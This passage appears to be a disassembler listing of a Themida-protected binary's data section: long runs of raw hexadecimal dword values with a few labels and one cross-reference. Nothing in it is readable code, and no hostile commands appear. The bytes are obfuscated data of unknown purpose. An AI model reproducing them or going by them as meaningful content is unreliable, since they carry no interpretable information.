1EFCC3C3h dd 0E94DD54Bh, 8, 413C6E04h, 8D0EF047h, 236195FFh, 12E90614h dd 1F000000h, 744D0CDDh, 8875EB84h, 2A361775h, 2F8A088h dd 0FF006AAAh, 14116995h, 0EBC08B06h, 0BADE261Eh, 2FD27E58h dd 8FD37432h, 0D998FA76h, 0EDE1140Eh, 4556E474h, 0D88EB7A2h dd 0E8BC6AA5h, 12h dword_5CC5E8 dd 3CBC1AECh, 56DAA80Fh, 0E5C42D23h, 0C6653726h, 8D8B5B71h ; DATA XREF: Themida_:0054ACA0o dd 6142CF5h, 0C1BD895Fh, 81061420h, 595DC7h, 68F0F00h dd 29000000h, 1405FD9Dh, 8BDB2B06h, 0B70F1F14h, 0CCEA81CFh dd 293C6A2Ah, 1434E9B5h, 0F8F28106h, 661BE0E5h, 811B58B9h dd 0DAAF8EC2h, 1DF48023h, 0F1F1489h, 28Eh, 0F9F08B00h dd 7E06EB81h, 81667D42h, 818CDDF1h, 427E02C3h, 7D858B7Dh dd 81061434h, 0FFA72CFBh, 0AC850FFFh, 89FFFFFFh, 14192D9Dh dd 0E900EB06h, 41Bh, 40922DAFh, 0FB4D7063h, 0B507B41Eh dd 6ABCFDD8h, 21734A8Dh, 0F7E0D0E8h, 3A9774C6h, 88502D7Fh dd 0CE08E537h, 78F9BEDh, 0E221B01h, 0CD342F58h, 0B4FCC112h dd 0BC16EEE7h, 63BB67FFh, 8B472434h, 0D401DE30h, 8D09DE5h dd 9B7888B7h, 572F813Ch, 0C5243C80h, 8AB9A467h, 1365587Fh dd 0D61E9B36h, 6322080Eh, 0E3651F2h, 0E6F2CFDFh, 2CAA87D9h dd 403E67D0h, 0BB53A7F3h, 0E5429C73h, 0EA6CDAA3h, 1C95ABBBh dd 0C057EACFh, 0DDDEF851h, 8B12431h, 0DEF7C45Ch, 3FAD89DBh dd 0A641478Fh, 145E00E2h, 0FDCA4ECh, 886EF4C7h, 9C5E21C2h dd 95DB4574h, 5E21C2B3h, 74209938h, 0A14D7067h, 0E8C9896Dh dd 4843FF21h, 0F2BE171Dh, 137E1h, 0C512F800h, 923F4CF8h dd 636E7B27h, 0BA42BE56h, 9861BF2h, 38DC9867h, 92D3C509h dd 0A67D51F2h, 0A62B2DC0h, 14B2BC13h, 173FC3F2h, 43785E6Bh dd 0F9C214F1h, 777D454Dh, 51F2BB91h, 444E7DA5h, 1AE22AD6h dd 0F2BC2E14h, 0EB1A4251h, 0E0F4DFE5h, 0A98057E5h, 0D0A6F24Bh dd 229D3BF3h, 57861E76h, 0AAFFABD3h, 24B24A08h, 81874F97h dd 5806569Bh, 5741272Dh, 2D555806h, 103F67h, 407B5B28h dd 30DCDFF3h, 319FA9D8h, 0C83F458Dh, 0FE5DF9A7h, 5C08B721h dd 0D0B6BC04h, 0E45E1A86h, 0FDC24BCh, 0F34BF7C2h, 8A4D5AC4h dd 0D304E133h, 731F9E35h, 0CBD7831Bh, 6268B05Eh, 5E1A874Ch dd 5665713Eh, 0D20552AAh, 1038BCEBh, 0E0DBFBC8h, 9DADDC34h dd 63AB53C1h, 0DA5365Dh, 0F8A4CC64h, 7D5B28F0h, 0A5D6BC42h dd 0C2EA642Eh, 6E4F8893h, 816D441Ch, 2C2D6084h, 5C7B86B5h dd 3CA9B561h, 1E484E96h, 28642EE3h, 7B3E9360h, 2EE40FF5h dd 6BFB9264h, 0C6F12E28h, 8A90D800h, 642E57A4h, 0DD6190B8h dd 0BE8B63B5h, 34BA217h, 6037E262h, 3E99A4D3h, 88552D7Fh dd 5B42714Ah, 0B1F9A513h, 0E534C8ABh, 0DCF9D657h, 8C9945DDh dd 11F714Ah, 9A48B564h, 0BC16E3F9h, 0AA8CD0FFh, 2F580614h dd 0E5C214A7h, 111ECAF1h, 0D84AF6C5h, 5B23D674h, 6156F55h dd 0E6D7FC58h, 0BEC9F820h, 845BA318h, 4EB6E255h, 0A3B3E2EAh dd 0D9AC0065h, 90965EF8h, 580639AAh, 16796BEh, 3Dh, 0F9A51318h dd 0CC0ABB1h, 0A6CE57E5h, 242AF2FAh, 58060D3Eh, 0EFB508CBh dd 4BDBAA08h, 0C55D5EFFh, 704B8B96h, 787E461Eh, 58067492h dd 0E2C8CEA6h, 0F6580674h, 0FB0736CEh, 20h, 494F1752h dd 51F1E863h, 0ED4E5F0h, 29ACB7E6h, 5DCE490h, 155614BBh dd 535E8D35h, 2DE63883h, 0A4F6C312h, 8E431098h, 0F8277F2Bh dd 0E7F2ECF2h, 0D49C51F1h, 41EDD007h, 0E87D63E9h, 699151F1h dd 5602BB1Ch, 234BCFFEh, 4F6C6A77h, 0EEAC4EA3h, 0AD79F27h dd 0EE46F2C7h, 0E7817BBFh, 0D0AD51F1h, 0E7D80006h, 9F4BE33Bh dd 9F67AF47h, 4C25ABC8h, 9384198h, 0F287DFC5h, 79CBF351h dd 0F9C23A9Ch, 9E088A91h, 44DCDFF3h, 14365AACh, 2EDFh dd 4A173600h, 957B818Eh, 0A951F1E7h, 0AFBAE981h, 0DBE89427h dd 966EC0FBh, 0FC0209C9h, 51F1E816h, 0BE6A022Ah, 0F8090F66h dd 67DDCFD8h, 1298FF38h, 3C49F5CAh, 6875219Ah, 96A34F70h dd 0C5D27E3Bh, 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h, 7A873388h dd 33B86459h, 524468h, 240C8900h, 0C181E189h, 4, 8704E983h dd 575C240Ch, 0C781E789h, 4, 8704EF83h, 895C243Ch, 2568240Ch dd 8900005Bh, 0BA522434h, 72F17050h, 2ACA4DB9h, 8BD10193h dd 0C4812414h, 4, 24348B54h, 5104C483h, 78240481h, 8F3B0E16h dd 0BA520846h, 3B0E1678h, 5A085629h, 5324348Bh, 0C381E389h dd 4, 8704C383h, 8B5C241Ch, 8950240Ch, 405E0h, 4050000h dd 87000000h, 0E95C2404h, 0FFF83F6Fh, 2DB8B21Dh, 0B85E76FBh dd 61C3E21h, 0E0FFC503h, 6F2A95C4h, 10B1D3D6h, 50D44FB4h dd 4B9BDA0Fh, 30501610h, 361198F1h, 40CDC3AFh, 98C2EC8h dd 5E2737A6h, 43EB9BEh, 0AE956h, 65020000h, 89C4D1E3h dd 52D36973h, 0E8D3BF0Fh, 6, 802570E6h, 5AF9BCC0h, 0E9F78B66h dd 0Eh, 0E1BB654Ah, 7B77AD4Ah, 62834242h, 12E9DFADh, 0C000000h dd 0BEC0F29Dh, 54ECF7E1h, 36D6176h, 693E3906h, 8B0F52F0h dd 2, 0F58FA8Bh, 8B66DFBFh, 0A880FCBh, 0E9000000h, 5, 0F71B15A3h dd 0CE976h, 28190000h, 3CA4E3E2h, 0D02ADD7h, 0F604F81h dd 181h, 0BE60F800h, 1B3E0A43h, 0B1ACF81h, 616117B3h, 18A0Fh dd 0E8F90000h, 11h, 1C905B89h, 82F6B98Fh, 25280296h, 69E46D48h dd 14810F2Eh, 0E9000000h, 0Fh, 0C9F9FA8h, 0D0F64717h, 6DD4B708h dd 5A87C9F8h, 0C28177B0h, 1B4B5985h, 32E9B866h, 0E9D2B70Fh dd 6, 9B916B4Eh, 0D281AAE1h, 4A0D4FE2h, 9E38166h, 8E997h dd 0FA650000h, 3BD50175h, 0EF809F40h, 0E974B56Ah, 0Bh dd 740D4774h, 547E02C4h, 0F1B55C8h, 684h, 830F00h, 66000000h dd 0FC0531BBh, 81C4F780h, 5FDA60C1h, 58C28124h, 0E921843Fh dd 14h, 4DA50DFEh, 50AD6D73h, 578BA8D6h, 0F4805964h, 6FBFDD38h dd 10E9h, 0B0425100h, 81E395A8h, 72B95345h, 465D2035h dd 0CABF0F0Ah, 0B79FBF66h, 12E9h, 88E14900h, 0E6B1B0A1h dd 25238E10h, 0D0636451h, 807DEA3Fh, 0BA66D9EDh, 0B70F566Eh dd 816660CBh, 803253CBh, 8B6100C7h, 8B6057CEh, 0CE8D3h dd 0E52E0000h, 17644588h, 6B3423CFh, 61597977h, 0F181665Fh dd 0EE9C1A2h, 53000000h, 0F92FBF9Dh, 8268286Fh, 2EEE8888h dd 15800F6Eh, 0E9000000h, 10h, 0CB27A6F7h, 7D26FB7Dh, 3EDB50E8h dd 5BA8461Bh, 667ED080h, 565F281h, 0D38A5151h, 0BF0F585Fh dd 87CF81CEh, 0F51B22Dh, 870FC0B7h, 3, 0E9F38B66h, 8, 0A9208144h dd 0D4E958EBh, 5D08ACBBh, 0B966F85Eh, 0B866423Fh, 12E91091h dd 80000000h, 98C78BB8h, 0B9C1F71Ch, 4476B120h, 3E243EFAh dd 0CBBF0FAEh, 81F7BF0Fh, 8E96DBCEh, 8B66601Dh, 0C28061F3h dd 7BBF660Ch, 9E9EFh, 0B6CF0000h, 92D9C421h, 0F532CEE9h dd 0E245DA81h, 0D08107E9h, 52D65A26h, 10860Fh, 8E80000h dd 49000000h, 0F675115Fh, 8AE1FB36h, 90BF5ADDh, 0E9339508h dd 0Bh, 0A815DE1Bh, 0F3F08240h, 0E91DD274h, 9, 47BB9398h dd 113B49Ah, 0AE9CBh, 0BCAF0000h, 0DEC6E863h, 0AA46FD5Ah dd 0E9F08BF8h, 13h, 9E93CD5Ah, 7372B7E6h, 9FD14C28h, 73F0020Eh dd 6670E526h, 19B3D68Bh, 0DE8h, 0CCB77000h, 773C44E0h dd 88A07890h, 0E68A1536h, 0C6BF0F5Fh, 0E9F6BF0Fh, 0Ch dd 0FE8FCB49h, 9C22F12Dh, 61A7ED0h, 0AC50FBFh, 0DF816658h dd 0BE660368h, 8B667C59h, 0AE9C2h, 0EDC40000h, 459B099h dd 277F148Ch, 0D8B0Fh dd 8E90000h, 21000000h, 0E2B44B2Fh, 0B6518137h, 10E982h dd 77540000h, 0C667EC98h, 0A71C28E3h, 8C2C49DEh, 0F1813DDCh dd 5E299C1Fh, 0D5B7BA66h, 6657F3B1h, 5FD81ABFh, 0BE9h dd 376D600h, 0FC6F8DC1h, 29C9C20Ah, 0DE960h, 0D4E90000h dd 9B8DB5AFh, 0A592DDFDh, 66CFBD9Ch, 61C9BAB9h, 0F3816660h dd 0E95072CFh, 5, 8D448FF1h, 0F86159B4h, 74F18166h, 0F28151B8h dd 491DE5FAh, 7E959h, 905F0000h, 85FD1350h, 16D48020h dd 0C21ABA66h, 9E8h, 1BA6E300h, 0CFC0696Eh, 0C38102B2h dd 78E9B0CEh, 0BF0F5258h, 0DE958D9h, 0D4000000h, 4852EFCCh dd 0F41B4C0h, 86C660E7h, 32BB6651h, 0E8805ADEh, 88BBF85Fh dd 8042785Eh, 8B6630E6h, 8A0FC1h, 66000000h, 940EC181h dd 0EE8h, 0E2207400h, 2F6DD56Bh, 40BC1E47h, 0F944956h dd 80h, 81665800h, 0F4800C0h, 0BF66F3B7h, 11E99FF1h, 0AF000000h dd 595516CDh, 3A629E37h, 747FEBE6h, 0BC8917CEh, 93D18052h dd 0DD0B85Eh, 0EE97C27h, 7000000h, 0A102B943h, 0E81108AAh dd 693B5CD4h, 0F28B664Bh, 0B40EE780h, 6860F6Eh, 81000000h dd 632455DAh, 88EA8031h, 5840Fh, 0D2BB0000h, 601C827Ah dd 8A11B866h, 11E9h, 0AE078E00h, 0BECD47B4h, 86B0C0E4h dd 0D7B2A24Eh, 666180D3h, 0F174BBAh, 5251F3BFh, 7E8h, 5ABECB00h dd 348099DDh, 0B95F5B59h, 31AEAA49h, 880FE5B0h, 2, 12E9FB8Bh dd 0CC000000h, 0F858E496h, 5B06058Ah, 8AD98C17h, 0FBE3C72Ch dd 0F8F9601Ch, 92B86661h, 12E847h, 64E10000h, 51537D33h dd 0FC7718AAh, 0F1F9C9F2h, 71C8856h, 0EFF28166h, 0BE95B7Ah dd 0F4000000h, 0C7BC7346h, 45F3EF73h, 0CB8BBEBDh, 5E40EE81h dd 0BF0F2793h, 5EF857D2h, 8A5F57F8h, 4EF680EFh, 0E9D3BF0Fh dd 10h, 0B10DB2F0h, 0B0D30739h, 6F29DFB3h, 0D7CE3498h dd 9E9FCFCh, 19000000h, 3B1720AFh, 98D6C09Ah, 2870Fh, 0E38A0000h dd 14E9h, 899D500h, 0D2619536h, 0D1A3CC68h, 7D604404h dd 722AE0F2h, 7E948h, 4DA40000h, 0B929317Ch, 0A7BA6678h dd 0FE90Fh, 10490000h, 0AE72C8ABh, 1F5C18F9h, 0BEE0C6D2h dd 8B575281h, 0E95F5BDEh, 0Fh, 0F595621Bh, 3A79F363h, 0B8D2514Bh dd 0F5BDF9CDh, 0EE9h, 243BE900h, 9A350C25h, 72215CBAh dd 0F588A4Dh, 382h, 0D6BF0F00h, 8B6624B2h, 7E8C3h, 0E3BE0000h dd 1071CDA0h, 0F08B66E3h, 53F5605Ah, 8F0Fh, 615A0000h dd 0DE9h, 1176C400h, 0CD433B4Eh, 640AD6E2h, 8166E0A2h dd 661260F3h, 660C10BBh, 8849DA81h, 66F78B66h, 0D081DE8Bh dd 2AFC6319h, 18F0Fh, 80F90000h, 0C28B26C8h, 7490D981h dd 0CC804C34h, 8E8F9h, 0A2CD0000h, 8087022Fh, 0B8BFB1D2h dd 5B1D25DAh, 0FD78B66h, 18Dh, 0CB8BF900h, 2ED68166h, 8A0F608Dh dd 3, 8080CA80h, 0F6108D9h, 8B66C2BFh, 0B96660C8h, 0CBA43C2h dd 614D76F0h, 0D38B6660h, 14E960h, 89050000h, 828D5252h dd 0EFBF5DFBh, 5885250Fh, 204E7B3h, 0FE8FC3Eh, 4000000h dd 0CF5DCBC7h, 61A25769h, 0F44F30E1h, 615AB7A9h, 78BA6661h dd 0F1BF0F12h, 0C16EBE66h, 28B0Fh, 0BEB60000h, 0E9F28B66h dd 0Ah, 90E28FFFh, 2D7474FDh, 880F613Fh, 3, 0F560C780h dd 19840Fh, 6E80000h, 0D9000000h, 0E1CF4535h, 7E896h, 935B0000h dd 549C066Ch, 0E95E5E66h, 0Dh, 7F480798h, 1451B5CBh, 2183D7E2h dd 80C18B4Fh, 0F38114D8h, 199A0F51h, 0FE960h, 3E6D0000h dd 977456B5h, 0F33D422Ch, 282A5613h, 0E961F89Dh, 5, 0A276A784h dd 0E081664Ah, 0CE9F684h, 4E000000h, 70E7DF51h, 0B69EE33Ch dd 0E980B1E2h, 0Ch, 6D7F9AE8h, 1E559D01h, 26D4BA62h, 0DE8CA8Bh dd 2E000000h, 0B9BE4840h, 0A558E777h, 5E098BEAh, 4897D981h dd 665F00D8h, 5E9C28Bh, 7E000000h, 1D5E76Ah, 3D59BB66h dd 0F5DBBF0Fh, 0C88166F8h, 0FF98FEFh, 181h, 8F0FFC00h dd 0 dd 7BE0B966h, 0F76D980h, 8Eh, 0F7816600h, 7FBFDF96h, 0B95A675Dh dd 589CC619h, 0F8D98B66h, 0DE9h, 0B4908300h, 0FC5EAE91h dd 0A59C2DEBh, 91B27726h, 0F6B70F50h, 60D08B5Ah, 7E9h dd 0B8281F00h, 0E443C463h, 5261CB8Bh, 0FE8h, 0E966B600h dd 3222E5Ah, 0AB6022CDh, 0C460B578h, 0DF10B866h, 0E281585Bh dd 43CB3596h, 0EE9h, 0DCB05600h, 0D8085B61h, 1A37A58Fh dd 8B7ADD95h, 0D2DBADFh, 830F4680h, 0 dd 5105CA81h, 0BE85664h, 5D000000h, 93EF93ACh, 98ED1DA0h dd 10E97D22h, 17000000h, 9493237Ch, 0B3280026h, 0D9BA99B7h dd 59E215F8h, 0E436BA66h, 0FF88B66h, 0F81h, 0AE900h, 0AC420000h dd 4C37478Eh, 3B587D56h, 0FCDF8166h, 9E9F5D5h, 0A6000000h dd 0D8C07CC6h, 8D970B57h, 810Fh, 0B9660000h, 6060CEB3h dd 22C88166h, 0F96161F5h, 5E9h, 98ED1D00h, 0E8607D22h dd 10h, 0EE5B8FEEh, 91FCEC5Fh, 9CDC5D86h, 442A1A4Ah, 66E78166h dd 0CB85F31h, 6129CE2Dh, 0D171BA66h, 58F0Fh, 9DB80000h dd 810C7794h, 152D7FE9h, 0C4806015h, 28F0FDBh, 8B000000h dd 0E85061F9h, 9, 172B6BD8h, 1558B79Ch, 840F42h, 5A000000h dd 0CF81665Fh, 0BF0FB0CDh, 0BF0FFCF6h, 0FD98AC7h, 1D81h dd 11E800h, 10E90000h, 39F60E0Bh, 2D1742CEh, 25D44F10h dd 0F0B463Ch, 8Ch, 8E85B00h, 0C7000000h, 0B0775C70h, 0E8798CB7h dd 13h, 0C81AE002h, 2713922Bh, 58B2FD6Eh, 0E7D22686h, 8B08940Dh dd 0BA5E59D7h, 5CB6DDC9h, 66F3B70Fh, 0E8652CB8h, 11h, 8F744E00h dd 89AB2F01h, 4FAC5988h, 0FD01CD30h, 0BFB9663Bh, 0EE85B14h dd 9D000000h, 0C7076D7Dh, 7F10FDD4h, 0FC3526C3h, 58CE8A08h dd 0BBBB6653h, 0CA805803h, 0DF8B6626h, 0B0F28B66h, 0CABF0F66h dd 0B5C08166h, 16BA6613h, 0F1B70FB4h, 60D18B66h, 0D63FC6B9h dd 0BE86101h, 0D8000000h, 1A1CCDADh, 0B4662B4Ch, 0C180CB9Fh dd 800F5B9Dh, 3, 60D2B70Fh, 5FCCB751h, 8E8h, 0B296F200h dd 3959DFA3h, 0F6BB661Fh, 6061580Eh, 6870Fh, 8F0F0000h dd 0 dd 8D0F61F8h, 1Fh, 870F60h, 0E8000000h, 11h, 9FA65F28h dd 74C8ED8Dh, 0E7D5C551h, 0DD975B86h, 66615E74h, 8BD97FBAh dd 0B966F3h, 0A307BF0Dh, 0D6806483h, 14E9A8h, 9BEE0000h dd 0E067F604h, 0F573D509h, 7F17D451h, 0D3F585C0h, 816692BEh dd 0F9E067CEh, 0ABC2EF81h, 8D0F3B37h, 9, 3890Fh, 8B660000h dd 0CE9C7h, 0A6420000h, 3F66E4C4h, 4057C720h, 8166701Bh dd 0E9D939C8h, 7, 4C75C79Eh, 8163320Ch, 5B084C0h, 13E945h dd 245D0000h, 471BC5D7h, 6DD9893Ah, 720457ABh, 9C82F492h dd 0E9C78B30h, 9, 1780B235h, 0F50F3F9Bh, 0C1B70FD5h, 0C28BC18Ah dd 0BEC7BF0Fh, 698D8EEFh, 0F601B966h, 860Fh, 0D1810000h dd 3FDC6F02h, 0A860FF9h, 0E9000000h, 5, 0CAC985FCh, 58A0F53h dd 66000000h, 1093D381h, 0CE9h, 0F5CB3F00h, 36F20339h dd 94970C1Fh, 0D7BF0F2Ah, 6E8h, 0F255D900h, 5677C908h dd 3E83B966h, 0F38B595Bh, 804509BBh, 0C3816678h, 0F9FC979Ah dd 81C78B66h, 2F43ACF3h, 1BC6B862h, 0B70F0D32h, 3880FC6h dd 66000000h, 2ABAC88Bh, 0E91D9216h, 8, 295B701Ch, 0FBF2E6B3h dd 0BEDABF0Fh, 5833153Ch, 0A0DDB866h, 28D0Fh, 0F78B0000h dd 6C38160h, 0E877E0D2h, 6, 0CD433B4Eh, 0CA8BD6E2h, 0F48A615Eh dd 18F0Fh, 0BFF80000h, 5244CAB2h, 0DA7EBB66h, 0F08BF960h dd 0B8BF6661h, 8B666028h, 6E9FAh, 58330000h, 0B43060A1h dd 9A31BE61h, 8B666AF0h, 12E9CBh, 0E1540000h, 0A6FA1CADh dd 0DF87174Ch, 0BF86D39Dh, 7906435Eh, 0FE88EB0h, 0A2000000h dd 38D97A06h, 0B55ED9C8h, 8AA6A076h, 830F8CE3h, 18h, 12E8h dd 18324B00h, 3065116Fh, 0B7700883h, 3C44E0CCh, 59789077h dd 0B2C18B5Bh, 13E9BBh, 0B9CC0000h, 3BAEA485h, 5E1E9963h dd 591EDECh, 4E90DDDBh, 28C0FC4h, 8A000000h, 0C38B66FCh dd 168A0Fh, 11E90000h, 7000000h, 7C3AEDCh, 57C3FECDh, 8AE9764Ch dd 0FD6DC3DCh, 13E9h, 81CC8600h, 0D0D59418h, 0BA154011h dd 0CB49A7ADh, 0F12DFE8Fh, 6E876B0h, 9C000000h, 3002CEF9h dd 870F6026h, 0 aPAS db 'P^a^Х',8,0 align 4 dd 77318200h, 0D9C197EFh, 2840FB5h, 60000000h, 0F3815961h dd 6DE1A7FBh, 8166F18Bh, 664AE2C3h, 427CCE81h, 885EBF66h dd 32BB6651h, 81F55E44h, 0BF5841E2h, 0C2816610h, 0CE9ADA1h dd 0CD000000h, 7C3AC00Eh, 275044F4h, 0E8992BC5h, 13h, 162CFF0h dd 20A6A684h, 806E4064h, 8F8E04F3h, 0E9E428FBh, 9, 8A0AD42Eh dd 4E432BFh, 0DC805F29h, 0C0DE8043h, 0AEF4CA81h, 0B70F425Dh dd 66C58AC0h, 64DA81h, 0E081F960h, 5B8267Fh, 0F515061h dd 5E58D0BFh, 66F1B70Fh, 0E9AC7FB9h, 11h, 0F7ACA12Ch, 288310D1h dd 8B917B3Ch, 1FBFCD4Eh, 0E981F81Fh, 3D55729Dh, 86B956FCh dd 5966215Dh, 5360CA8Bh, 4B2881B9h, 0F615F5Ch, 188Dh, 13E900h dd 582B0000h, 0D21AE229h, 0AB938873h, 0DBDEA94Dh, 0B37C077Ch dd 0EE8FC6Bh, 0EA000000h, 2E8A1347h, 0FAFC3FD2h, 852CB086h dd 0DB8160B9h, 70717545h, 5961D98Bh, 3CF38166h, 0E98166DCh dd 6E8EF6Bh, 24000000h, 0C6A106BBh, 5E875h, 0D5760000h dd 8A28D94Ah, 805E59CFh, 0B9668BD8h, 0BE66B722h, 81663C5Dh dd 819F79D7h, 819DCEC2h, 0F31B376h, 1688h, 108C0F00h, 0E8000000h dd 0Ah, 13FA1377h, 65CBCFCFh, 0B35AAE12h, 28D0F27h, 8B000000h dd 13E9C8h, 42300000h, 71BFDF99h, 0F25C7D72h, 163E5C69h dd 0DBEF8B80h, 0CF81667Fh, 8D0F248Dh, 1Ah, 0EE8h, 0AF291F00h dd 191426F0h, 0D5FD63FFh, 811B2B0Fh, 0BBCD1ACBh, 47B05F3Bh dd 0FE3EC981h, 0F88B28ABh, 0BE9h, 0A4CF4200h, 6B8A3E68h dd 0B5876DFDh, 0E3C180F5h, 816640B6h, 0B9065FC8h, 293F3FB0h dd 0FFBF0F60h, 0DCD88166h, 8F0F61AFh, 1Dh, 14E8h, 8ED8D100h dd 7625B61Bh, 0EB645950h, 30DC495h, 372D5C66h, 0F98B6612h dd 1EBF665Eh, 76C781ECh, 66075BE3h, 807191BFh, 0F6B901CBh dd 6679DCB5h, 7CECD681h, 0EDC88166h, 9E960ECh, 5A000000h dd 0DA047F3Bh, 0D6F77B6Ah, 0A0DEF281h, 0E9615E9Bh, 0Dh dd 0B81B0864h, 0D057171Ch, 0DED452E3h, 14E818h, 0FFB00000h dd 6D382470h, 224C83D4h, 20C07429h, 0BA69B8FEh, 0BA665989h dd 805A1028h, 0F181A0CCh, 50DDB11Dh, 6E9h, 49579600h, 0B4B9399Bh dd 3860F71h, 80000000h, 0C68116CBh, 75CF3F91h, 3BD78166h dd 89BE60BCh, 0F82288A6h, 0F8D18061h, 6854F281h, 0BE849E7h dd 0A1000000h, 7C00BAF6h, 68206FAh, 0EE9955Ah, 24000000h dd 4C4B8793h, 9856C18Ah, 0AF595D85h, 0DF8B5EE0h, 66CE8B66h dd 800FCA8Bh, 0 dd 0FC18B66h, 584h, 0D3EEB900h, 0D08A5383h, 81D3BF0Fh dd 7EAE1BCFh, 198F0F77h, 0E9000000h, 14h, 0A8931748h, 847119BEh dd 678E8C96h, 1C83A408h, 0E8A88DF0h, 0E081F18Bh, 48F712CBh dd 4A8837BEh, 0E9D68B40h, 8, 0C7BFC543h, 99A46EDCh, 0B8C0Fh dd 810F0000h, 5, 0B4EC8DB9h, 0F38B6635h, 0AE8h, 822CD700h dd 1707BDA4h, 0E9C88C98h, 8, 3C6BEB92h, 7328C0ACh, 81605058h dd 2D562BE1h, 0DF816649h, 5E617763h, 0B205C680h, 0EF81663Fh dd 81661875h, 667E58F7h, 0E9F5DE8Bh, 14h, 0B5D9C197h, 0CF5F8797h dd 5E5B1FDBh, 0CF122C87h, 0F4731E74h, 0FC78B66h, 584h dd 0C1816600h, 8B66F935h, 0D98B66F7h, 0B966B5B0h, 66FCACE7h dd 734E181h, 7E9h, 329DCC00h, 4B55B80Ah, 0BB66D08Bh, 0EB81066Eh dd 12623AB5h, 0CE8h, 7ABF0200h, 1C384D28h, 99996497h, 0CF816684h dd 0F5FF830h, 0E960F7BFh, 13h, 37E4836Ch, 0DEFF5EC3h, 6D770F51h dd 7D7AE2C9h, 0F52BAE14h, 0C7816661h, 0D48A0E27h, 58AA82BFh dd 0F6B70F57h, 8E9h, 904B9B00h, 0D9A21FECh, 92B150D0h dd 0C181665Bh, 0CE9272Ah, 5A000000h, 8567415Ch, 0BE197502h dd 810E5D98h, 0D1CB4AC8h, 0FE86060h, 0B5000000h, 95FCD08Ah dd 56FA2CAFh, 0E029D683h, 5EF87BFBh, 19B0F5B8h, 13E86174h dd 0A9000000h, 0D051F969h, 0C2F707DDh, 0E242DBB4h, 0B3A438C5h dd 840F49F3h, 1, 81665FF8h, 66DDA0F2h, 0B72C981h, 68E0Fh dd 0E7810000h, 5DB1C526h, 5B7FD181h, 8B664A13h, 0F98B66FAh dd 6E9h, 8BE7C000h, 52B28754h, 37EB8166h, 0BF665F88h, 810FE6FCh dd 8, 2860Fh, 5E560000h, 0FCEB70Fh, 6E8D6B7h, 61000000h dd 12D040E6h, 0FA8B662Bh, 50C2B45Eh, 60DA8A5Eh, 10E8h dd 2BD1C000h, 9EF1B1B5h, 11E0DF74h, 0B55AA670h, 58FD8A4Ah dd 6E9h, 84EBD500h, 6132A5F0h, 0C8A0Fh, 7E90000h, 1D000000h dd 7E1EB9A7h, 12E90258h, 44000000h, 0DDC30CABh, 11EE3548h dd 5BD03FD6h, 0A6730C9h, 9E9FCDBh, 0A1000000h, 0F15927D4h dd 0D83A3B6h, 3F68166h, 5BBB6670h, 58C0F53h, 0BE000000h dd 69F959B2h, 0C38166F8h, 8166639Ah, 66CFFDDFh, 6DEFCA81h dd 0BF0F5F57h, 0D3BF0FDBh, 66D88BFCh, 0E859E181h, 1CBBD48Ah dd 60356FC4h, 61C9BF0Fh, 0CDB3BF66h, 48E0Fh, 0BE660000h dd 0DE92E91h, 9000000h, 5FBEF60Dh, 604AB7Ch, 39AA88E4h dd 0F37C680h, 128Bh, 6E800h, 0C8510000h, 1BEF4B28h, 9366C281h dd 80596FD1h, 0B70FA1E4h, 3C2BB9C8h, 6E92188h, 0D5000000h dd 66681C5Bh, 0C78157FBh, 423D0680h, 0C3B70F5Ah, 2840Fh dd 0A2B20000h, 0A8F0Fh, 840F0000h, 4, 9FFBF66h, 11E853h dd 398F0000h, 9E7A0DC5h, 4C3C8B8Fh, 1A456A5h, 57A91476h dd 0B6585A5Eh, 0D6816064h, 44F256C4h, 8B666061h, 11E8CFh dd 0AB9A0000h, 61FF270Ah, 6429B214h, 0DC8BEFFBh, 0F963A72h dd 82h, 0E9615A00h, 10h, 0C93DD0F1h, 7934F992h, 0DF359B45h dd 0A1B023Bh, 0FF98B66h, 685h, 0B9665600h, 8158D451h, 74EAA3E8h dd 7E913h, 0EA20000h, 13164EFh, 3860F79h, 66000000h, 0FE9D08Bh dd 40000000h, 0A327CEC4h, 574D4182h, 90F607A6h, 0C78B5E21h dd 0E9C1BF0Fh, 9, 668B892Ch, 4F82D914h, 810F36h, 0F000000h dd 81h, 7E900h, 70C60000h, 3EE4DC45h, 38E0F6Eh, 80000000h dd 6056D4E0h, 8E8h, 0D4532A00h, 7EB6C2D9h, 616059A0h, 11E85B61h dd 52000000h, 0C01D2557h, 0FB94F673h, 0BC477DBFh, 0EB8D055Bh dd 0BE9BE3BBh, 850F585Fh, 4, 5E616052h, 0D9D28166h, 6E9F882h dd 0F0000000h, 5AAC4E48h, 0BE913h, 3B270000h, 3C35668Ah dd 87162FF6h, 0AEC181D4h, 0E9378FD7h, 13h, 0D03FD611h dd 6730C95Bh, 2C8DB0Ah, 0EF39895Ah, 0BAA99BD9h, 3F27C155h dd 11E9h, 0A0910E00h, 0E7BC936Bh, 45750647h, 3011B0Fh dd 0BBBA63FAh, 0E9370DCFh, 0Bh, 0CF555421h, 0AEA7ACF1h dd 0B8EF4114h, 60B1947Bh, 9E9h, 9C156A00h, 6830044Dh, 0BF0F543Ah dd 0BBEF8AFFh, 0C998848h, 38B0Fh, 0BF0F0000h, 7783BFC0h dd 81534D2Eh, 16792C1h, 0F5805A2Ah, 90E98170h, 6604C93Eh dd 7B42E981h, 11E9h, 0E25BE00h, 977CCBE8h, 61F407C4h, 0ACB84B83h dd 0EEB83A9Ch, 0BE0B7D13h, 0E6D4EC5h, 0CE9FE8Bh, 4F000000h dd 0C3D0F7A5h, 0BC8DBC41h, 6674A859h, 0C88BF88Bh, 2800Fh dd 0CB8A0000h, 810F96B1h, 5, 0FD28166h, 92E58033h, 0D181DF8Bh dd 63B8FF64h, 0DE91AB5h, 0B1000000h, 88F2D5EEh, 0BD4DF798h dd 53BDD876h, 11E9h, 0C088CA00h, 4B66F8F4h, 0F6D38DFDh dd 9C1B5C34h, 0FE9A55Bh, 0DD000000h, 0F6B71A89h, 0E36A92C0h dd 199199ACh, 0F604252h, 1180h, 0CE900h, 4D6E0000h, 0AEB742AEh dd 0CC3AB0E4h, 61F5EE15h, 0FE8h, 0ECA37900h, 70EA68C0h dd 0A6CB3AF9h, 7D91F5B3h, 8A0Fh, 0E95B0000h, 0Ch, 0F47EA222h dd 4F4DC90Eh, 504BDB2Bh, 8F6912B8h, 0AE819h, 84600000h dd 0AAE81757h, 0F814F799h, 0BA5AD68Bh, 454B201Ah, 0DE9h dd 0BF964900h, 844D1CAEh, 3DAC67E2h, 0DE9938Dh, 8E000000h dd 24CBB0BBh, 32428B75h, 950A4189h, 0BF0FE38Ah, 0BF0F50FFh dd 8B6658F9h, 0DE8166F3h, 8A0FD980h, 8, 